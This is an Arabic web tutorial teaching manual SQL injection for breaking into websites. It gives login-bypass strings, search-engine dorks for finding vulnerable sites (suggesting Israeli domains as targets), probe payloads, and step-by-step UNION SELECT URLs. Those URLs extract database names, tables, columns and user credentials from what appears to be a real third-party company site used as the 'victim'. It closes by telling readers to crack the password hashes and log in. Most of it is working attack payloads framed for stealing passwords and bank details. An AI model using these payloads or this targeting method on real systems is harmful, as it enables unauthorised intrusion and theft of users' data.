الشامل في اختراق المواقع - الحقن اليدوي SQL INJECTION

الشامل في اختراق المواقع -  اوامر الحقن اليدوي

الشامل في اختراق المواقع - الحقن اليدوي SQL INJECTION

ما هو الحقن SQL INJECTION:

الحقن هو إستغلال خطأ برمجي في قاعده البيانات لحقن بعض الجمل البرمجية التي تهدف إلى قراءة أو تغيير  المعلومات الحساسة الموجودة بقاعدة البيانات Database مثل أرقام حسابات البنكية, أسماء المستخدمين وكلمات المرور والايميلات... . لأن ثغرة الحقن تمكن الهكر من اضافة أو  تغيير أوامر برمجية مما يؤدي لتغير وظائف النظام وجعلها في خدمته.

كيف تحدث هذه الثغرات؟

هذه الثغرات تحدث نتيجة لعدم مراقبة و تصفية مدخلات المستخدم inputs لبعض الحروف والرموز الخاصة (ESCAPE CHARACTERS) المضمنة داخل جمل لغة الاستعلام البنيوية، أو ان لا يتم تحديد نوعية المدخلات ان كانت نصية STRINGS ام عددية INTEGERS ...

ما ذا يعني عدم تصفية مدخلات المستخدم ؟

سأعطيك مثال:
هذه الجملة تبين كيف تحدث هذه الثغرة:
SELECT * FROM Users WHERE name = ' + UserName + ';
هذه الجملة سوف تستدعي جميع السجلات الخاصة باسم المستخدم (UserName) من جدول (Users),
لكن إذا تم تغير المتغير (userName) بشكل معين وباستخدام الرمز الخاص ( ' ) من قبل المستخدم المخترق ( الهكر ), فمن الممكن لهذه الجملة ان تفعل أكثر مما هو محدد لها,
مثلا يمكن استبدال قيمة المتغير (userName) بالجملة الأتية:
a' or 't'='t'
هذه المساوات دائما صحيحة TRUE
وبالتالي تصبح الجملة كالاتي:
SELECT * FROM users WHERE name = 'a' or 't'='t';
أذا تم أستخدام الجملة السابقة للتأكد من هوية المستخدم أثناء تسجيل الدخول للموقع .
فمن الممكن اختراق الموقع بهذه الطريقة  والحصول على الصلاحية لأن نتيجة المعادلة 't'='t' هي دائما صحيحة (TRUE)..
وبهذه الطريقة جعلنا أمر التحقق من اسم المستخدم صحيح, بدون معرفة اسم المستخدم.

ومثال أخر، لنفرض أن لديك لوحة تحكم أو تريد الدخول على منتدى أو موقع  يتطلب اسم مستخدم وكلمة مرور ، هنا يستطيع الحاقن إدخال العبارة البرمجية الأتية في مكان اسم المستخدم وكلمة السر
" " password' OR '1'='1
مما يمكن للحاقن بالدخول للنظام من دون أي كلمة سر.(طبعا في حال كانت المدخلات غير مفلترة)
ربما مللت من الكلام النظري ومن المصطلحات لكنها ضرورية لفهم ما يحدث من حولك, تابع معي طريقة العملية التي يسلكها الهكر لاختراق موقع

طريقة البحث عن مواقع مصابه بثغرة الحقن SQL INJECTION

لابد لنا من مواقع مصابه لكى نقوم بحقنها واستخراج البيانات الحساسه منها ولكي يتسنى لنا ذلك لابد من البحث عنها !
السؤال يطرح نفسه كيف نقوم بذلك اقول وبالله التوفيق لابد ان يتوفر لنا دورك DORK + محرك بحث قوي مثل قوقل مع بعض المجهود فلنتابع!

هذه أمثلة على الدوركات DORKS:
·page.php?id=
·trainers.php?id=
·article.php?ID=
·games.php?id=
·newsDetail.php?id=
·staff.php?id=
·products.php?id=
·news_view.php?id=
·opinions.php?id=
·pages.php?id=
·prod_detail.php?id=

كيف تستخدم الدوركات DORKS في عملية البحث عن المواقع المصابة

يتم استخدامها بدمجها مع الاستعلام التالى :
"inurl:."domain"/"dorks" "

شرح الاستعلام
"inurl:."domain"/"dorks" "
التعليمة  :Inurl وتعني ابحث بداخل رابط الموقع
ويمكن استبدالها باحد الكلمات التاليه
intitle:
intext:
define:
site:
info:
link:
التعليمة :Domain وتعني نوع المواقع المراد البحث عنها
من امثلتها :
.gov = Government websites
.edu = Educational websites
.org = Organizational websites
.com = Commercial websites
.info = Informative websites
.net = Networking websites ( similar to .com)
أو يمكن استخدام il بمعنى اساهداف مواقع اسرائيلية  FR فرنسية ... الخ
تنويه:
مواقع GOV هي مواقع حكومية, لذلك يجب عليك عدم التهور والتجربة عليها, فسيعرضك العبث معها لعقوبات. وربما السجن لا قدر الله.

التعليمة : Dorks وتعني الدورك المستخدم من طرفنا

مثال تطبيقى على هذا الاستعلام

"inurl:.com/page.php?id="

بمعنى ابحث عن الروابط التى بها هذا الامتداد: =.com/page.php?id
نذهب الى محرك البحث قوقل ونكتب بها الأمر خاصتنا
"inurl:.com/page.php?id="
ونبحث وستظهر لك النتائج
dork-google-onsec.tk



النتيجه
ظهرت عدة مواقع بالصفحه نبدأ بفحص الثغرة هل هي موجودة بها ام لا
طريقة الفحص سهلة جدا, افتح أي موقع من النتائج واضف له علامة التنصيص الفرديه كومه [ ' ] .‬في نهاية الرابط
بهذا الشكل

‫'‪www.marinaplast.com/page.php?id=13‬‬
‫ونستطيع استبدال عالمة كومه [ ' ] بما ياتى ادناه‬(لأنه في بعض الحالات تكون مفلترة والموقع مصاب ولا يظهر بأنه مصاب)

‫"‬
‫‪/‬‬
‫*‪/‬‬
‫‪#‬‬
‫)‬
‫(‬
‫')‬
‫'(‬
‫‪and 1=1‬‬
‫‪and 1=2‬‬
‫‪and 1>2‬‬
‫‪and 1<=2‬‬
‫‪+and+1=1‬‬
‫‪+and+1=2‬‬
‫‪+and+1>2‬‬
‫‪+and+1<=2‬‬
‫‪/**/and/**/1=1‬‬
‫‪/**/and/**/1=2‬‬
‫‪/**/and/**/1>2‬‬
‫‪/**/and/**/1<=2‬‬
‫‪/**/or/**/1/**/=/**/1‬‬
‫‪/**/or/**/1/**/=/**/2‬‬
‫‪/**/or/**/1/**/>/**/2‬‬
‫‪/**/or/**/1/**/<=/**/2‬‬
‫‪and 50=50‬‬
‫‪and 50=52‬‬
‫‪and 50>52‬‬
‫‪and 50<=52‬‬
‫‪+and+50=50‬‬
‫‪+and+50=52‬‬
‫‪+and+50>52‬‬
‫‪+and+50<=52‬‬

بعد اضافة علامة التنصيص ' في نهاية الرابط , كيف نعرف بان الموقع مصاب ؟
الجواب ببساطة...
ان ظهر لك أي خطأ بالصفحة, فهذا يعني ان الموقع مصاب ويمكن اختراقه بسهولة

sql injection error

هذا نص للخطأ الذي يظهر :
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\'' at line 1)
و‫هذه الأخطاء تختلف من قاعدة بيانات لأخرى ولكن لا يهمنا, ما يهمنا أنه يوجد خطأ وهذا يعني أن الموقع مصاب بثغرة الحقن SQLi.

أمثله على اخطاء القواعد المختلفه‬

MySQL server_database
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax
warning mysql_fetch_array() supplied argument is not a valid mysql result resource in
warning mysql_fetch_assoc() expects parameter 1 to be resource boolean given in
warning mysql_num_rows() expects parameter 1 to be resource boolean given
warning mysql_num_rows() supplied argument is not a valid mysql result resource in
warning mysql_fetch_assoc() supplied argument is not a valid mysql result resource in
warning mysql_connect() function.mysql-connect can't connect to mysql server on
warning mysql_result() expects parameter 1 to be resource boolean given in
mssql _databa se
warning mssql_connect() function.mssql-connect unable to connect to server
warning mssql_query function.mssql-query message invalid object name
warning mssql_pconnect function mssql pconnect unable connect server
MS-Access_database
Microsoft JET Database Engine error '80004005' Unspecified error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver]
Oracle_database
Warning: oci_parse() [function.oci-parse]: ORA-01756
بعدما حصلنا على موقع مصاب بثغرة الحقن نبدأ الأن بالخطوة المهمة وهي عملية الحقن


  • ‬استخدام الامر ‪ ORDER-BY‬لتحديد عدد الاعمده‬


‫الموقع المصاب ‪:‬‬
‫‪www.marinaplast.com/page.php?id=13‬‬
‫لكى نقوم بحقن الموقع لا بد لنا من معرفة عدد الاعمده التى تحتويها قاعدة بيانات هذا الموقع ولكى نعرف ذلك سوف نستخدم الاستعلام ‫التالى ‪ ORDER-BY‬لتحديد عدد االعمده
بهذه الكيفيه ادناه‪:‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+100‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+50‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+25‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+20‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+15‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+10‬‬
‫خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+7‬‬
‫اليوجد خطاء ‪www.marinaplast.com/page.php?id=13+ORDER+BY+6‬‬
كما لاحظت نجرب الاعمدة من 100 وننزل حتى يختفي الخطأ.
عندما وصلنا ل +ORDER+BY+6 ‫اختفى الخطأ عند الرقم 6 ‬اذن نستنتج من ذلك ان عدد الاعمده هو ستة‪.‬‬
‫ملحوظه ‪:‬‬
‫‬ان لم بظهر خطاء عند استحدام ‪ ORDER+BY+100‬نستخدم مايسمى ‪ : String Injection
وننوه الى ان الحقن السابق يسمى ‪:‬‬ ‫‪Integer Injection

‫ويتم ذلك ‪:‬‬
‫باضافه علامة كومه [ ' ] بعد رقم المتغير سواء كان رقمى او نصى‪:‬‬
‫'‪/page.php?id=13‬‬
‫'‪/page.php?id=gaza‬‬
‫واضافة علامة ‪ +--+‬فى نهاية الرابط‪:‬‬
‫‪/page.php?id=13'+ORDER+BY+100+--+‬‬
‫مثال تطبيقى‬:
www.marinaplast.com/page.php?id=13'+ORDER+BY+100+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+50+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+25+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+20+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+15+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+10+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+7+--+ ‫خطاء‬
www.marinaplast.com/page.php?id=13'+ORDER+BY+6+--+ ‫لا يوجد خطاء‬

‫حيل لمعرفة عدد االعمده‬


  • استخراج عدد االاعمده بأستعلام واحد مباشر‬

+order by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,
71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99


  • ‫او‬
'+order by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,
‫‪71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99 +--+‬‬

‫مثال تطبيقى ‪:‬‬

‫‪www.marinaplast.com/page.php?id=13+order by‬‬
‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37‬‬
‫‪,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,‬‬
‫‪71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99‬‬
الشامل في اختراق المواقع - الحقن اليدوي SQL INJECTION

ظهر الخطا التالي:
MySQL Error: 1054 (Unknown column '6' in 'order clause')
بمعنى العمود رقم 6 بالتالى عدد الاعمده يكون 5

  • استخدام التعليمة ‪ UNION SELECT‬لإيجاد الأعمده المصابه‬
‫في الخطوة السابقة علمنا ان عدد الأعمدة هو 5 ‬فكيف نستغل معرفتنا لعدد الأعمدة
نقوم باستخدام الاستعلام التالى ‪UNION‬‬ ‫‪ SELECT‬بهذه الكيفيه‪.‬‬
‫‪http://www.marinaplast.com/page.php?id=13+union+select+1,2,3,4,5‬‬--
‫ملحوظه ‪:‬‬

  • أولا : يجب انهاء الرابط باضافة [‪ [+--+‬اذا كانت القاعده ‪ STRING MÉTHODE ‬

او  اضافة العلامة [‪ [--‬اذا كانت القاعده ‪INTEGER‬‬‪ MÉTHODE
كالتالى‪:‬‬
‫‪+union+select+1,2,3,4,5 -‬‬‫

  • ثانيا ‪: ‬وضع اشارة  [‪ [-‬قبل رقم المتغير سواء كان رقمى او نصى لنخبر القاعده بتجاهل كل مايأتى بعدها ‪ ‬كالتالى‪:‬‬

‫‪http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5--‬‬‫ا
و نحذف رقم المتغيرid=-13  ونضيف مكانه ‪NULL‬‬
‫‪/page.php?id=NULL‬‬
طرق متعدده لجعل الرابط سالب ‪:‬‬
id=-1
id=null
id=1+and+false+
id=9999
id=1 and 0
id==1
id=1*0

بعد التجريب على موقع اخر

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11--

ظهر لنا الاعمدة المصابة وهي كثيرة العمود 11 و 2 و 7

في الموقع الذي وضعت عليه الشرح ظهر لنا العمود المصاب وهو رقم ثلاثه‬ 3
‫ملحوظه ‪:‬‬
‫فى حالة ان رقم العمود المصاب لم يظهر بالصفحه ‪ .‬نضيف قبل ‪ union select‬احد االاستعلامات الاتيه‪:‬‬
‫‪+AND+1=0‬‬
‫‪/*!aND*/ 1 like 0‬‬
‫‪+/*!and*/+1=0‬‬
‫‪+and+2>3+‬‬
‫)‪+and(1)=(0‬‬
‫)‪and (1)!=(1‬‬
‫‪+div+0
بعد معرفة العمود المصاب (3) نبدأ بمرحلة الحقن و استخراج المعلومات الحساسة من القاعدة

حقن الموقع و ‬استخراج البيانات من القاعده‬

‫نعود لمثالنا السابق (الموقع الضحية)
‫‪http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5--
بعدما عرفنا رقم العمود المصاب وهو العمود الثالث
  • نقوم باستخراج اصدار قاعدة البيانات version
‫مكان العمود المصاب (العمود الثالث) نضع الامر ()‪ @@version أو  version‬لاظهار اصدار القاعده‪.‬‬
version()
@@version
مثال:
‫‪http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5 --‬‬

‫‪http://www.marinaplast.com/page.php?id=-13+union+select+1,2,version(),4,5 --‬‬

ظهر لنا بالصفحة ‫اصدار القاعده 5.1.73-0ubuntu0.10.04.1
ظهر لنا بالصفحة ‫اصدار القاعده 5.1.73-0ubuntu0.10.04.1
‫وهو الاصدار 5 الذى تستخدم معه اوامر استخراج البيانات, بعكس االصدار الرابع 4 من القاعده الذى ال ينفع معه الا التخمين  وهو متعب ‫فى حالة تعذر استخدام االستعالم ()‪version‬‬
يمكننا استبداله بــ‪
‫)‪convert(version() using latin1‬‬
‫)))(‪unhex(hex(version‬‬
‫‪@@GLOBAL.VERSION‬‬
‫‪(substr(@@version,1,1)=5) :: 1 true 0 false‬‬
  • ‫ثانيا ‪ :‬استخراج اسم قاعده البيانات‪:‬‬
نحتاج اسم قاعدة البيانات حتى نقوم بالبحث داخلها عن البيانات التي نريدها مثل جدول الاسماك وكلمات المرور او جدول الحسابات البنكية
نقوم بكتابة أحد هذه الاوامر في مكان العمود المصاب (بنفس الطريقة دائما)
‫‪DB_NAME‬‬()
‫‪@@database‬‬
database()‬‬
مثال لتطبيق الامر
http://www.marinaplast.com/page.php?id=-13 union select 1,2,database(),4,5--
  • ثالثا :‫ استخراج أسم المستخدم USER‬:
قم بوضع أحد الأوامر الاتية مكان العمود المصاب
@@user
user()
user_name()
system_user()
‫تطبيق عملى‬ (وضعنا user) مكان العمود المصاب الثالث
http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5 --
الأن ركز معي جيدا حتى لا تختلط عليك الاستعلامات!
في هذه المرحلة سنحتاج استخراج جميع الجداول الموجودة بقاعدة البيانات
لماذا نحتاج استخراج اسماء الجداول Tables ؟
نحتاج استخراج جميع الجداول حتى نحصل على جدول لاسماء المستخدمين المسجلين بالموقع او المنتدى وبعدها نستخرج كلمات المرور الخاصة بهم والحسابات البنكية ان كانت مسجلة وكان موقع تجاري الطريقة كما يلي:
  • كيفية استخراج الجداول Tables

ضع هذا الأمر مكان العامود المصاب
group_concat(table_name)
بهذا الشكل
http://www.marinaplast.com/page.php?id=-13 union select 1,2,group_concat(table_name),4,5
وضع هذا الأمر في نهاية الرابط
+from+information_schema.tables+where+table_schema=database()--
ليصبح الأمر بهذا الشكل
http://www.marinaplast.com/page.php?id=-13 union select 1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--
ومعنى هذا الاستعلام كاملا هو: قم باستخراج مجموعة الجداول group concat من مخطط schema قاعدة البيانات database الخاصة بالموقع
أمر استخراج اسماء الأعمدة column_name
يوضع هذا الأمر مكان العمود المصاب في مثالنا هو العمود 3
group_concat(column_name)
ويوضع هذا الأمر في نهاية الرابط
+from+information_schema.columns+where+table_schema=database()--
ليصبح الرابط كاملا بهذا الشكل
http://www.marinaplast.com/page.php?id=-13+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_schema=database()--
الان نستخرج اسماء المستخدمين وكلمات المرور من الجدول الخاص بهم وهو يختلف من موقع لاخر, وتجد اسم الجدول هكذا:
admin(s), user(s), member(s), admin_tbl, user_tbl, member_tbl

بعدها توجه لموقع فك الهاش وقم بفك كلمة المرور وادخل على الموقع.
في الدروس القادمة ان شاء الله سأضع مثال تطبيقي لاختراق موقع بشكل تطبيقي
في أمان الله